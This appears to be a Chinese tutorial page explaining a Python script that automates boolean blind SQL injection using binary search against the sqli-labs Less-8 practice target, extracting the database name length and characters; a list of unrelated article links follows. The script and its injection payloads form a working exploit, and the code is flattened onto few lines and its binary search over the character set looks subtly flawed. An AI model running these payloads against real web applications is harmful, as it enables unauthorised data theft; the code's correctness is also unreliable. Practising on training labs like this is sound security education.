当前位置: 首页 > news >正文

python实现自动化sql布尔盲注(二分查找)

为了优化自动化布尔盲注的代码,我们可以使用二分查找来减少猜测次数,从而提高效率。

以靶场sqli为例:

import requests# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度
def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

代码解释:

  1. get_database_length 函数:与原代码相同,用于推断数据库名的长度。
  2. get_database_name 函数
    • 使用二分查找来推断数据库名的每一个字符。
    • 对于每一个位置 i,初始化左右指针 left 和 right 分别指向字符集的起始和结束位置。
    • 在每次循环中,取中间位置 mid 的字符 char,构造 SQL 注入 payload 进行判断。
    • 如果判断结果为真,则将左指针 left 移动到 mid + 1;否则,将右指针 right 移动到 mid - 1
    • 当 left > right 时,循环结束,此时 charset[right] 即为该位置的正确字符。
  3. 主函数:调用 get_database_length 函数获取数据库名的长度,然后调用 get_database_name 函数推断数据库名,并输出结果。

运行结果:

成功字符比对出数据库长度和名称

http://www.lryc.cn/news/589451.html

相关文章:

  • 03 51单片机之独立按键控制LED状态
  • 论文 视黄素与细胞修复
  • 小型客厅如何装修设计?
  • 微信小程序开发-桌面端和移动端UI表现不一致问题记录
  • [ROS 系列学习教程] ROS动作通讯(Action):通信模型、Hello World与拓展
  • Linux操作系统之信号:保存与处理信号
  • Quick API:赋能能源行业,化解数据痛点
  • MongoDB 学习笔记
  • 三年高端随身WIFI销量冠军如何用“技术普惠”击穿行业暴利,用户直呼真香;随身WIFI哪个牌子性价比最高?
  • netstat -tlnp | grep 5000
  • 基于Python的图像文字识别系统
  • Linux探秘坊-------14.信号
  • ObservableValidator自定义错误样式
  • 从知识变现到创始人IP:知识付费的进阶之路
  • zip 加密压缩文件的原理是什么?
  • 【Java】【企业级应用】学生信息管理系统项目介绍
  • 算法入门:BFS与DFS详解(C++实现)
  • 【kubernetes】--ConfigMap
  • 极致cms多语言建站|设置主站默认语言与设置后台固定语言为中文
  • frp内网穿透(二)
  • 牛客:HJ20 密码验证合格程序[华为机考][字符串]
  • 一般芯片电气特性中Flash参数达到其最大值的条件是什么?
  • 【人工智能99问】激活函数有哪些,如何选择使用哪个激活函数?(5/99)
  • 全新 Python 项目托管到 Gitee 私有仓库完整流程(带详细命令注释)
  • 【PTA数据结构 | C语言版】构造二叉树
  • 软件质量概述
  • 使用 pdb 来 debug 调试 python 程序
  • I3C通信驱动开发注意事项
  • Linux715 磁盘管理:逻辑卷
  • golang二级缓存示例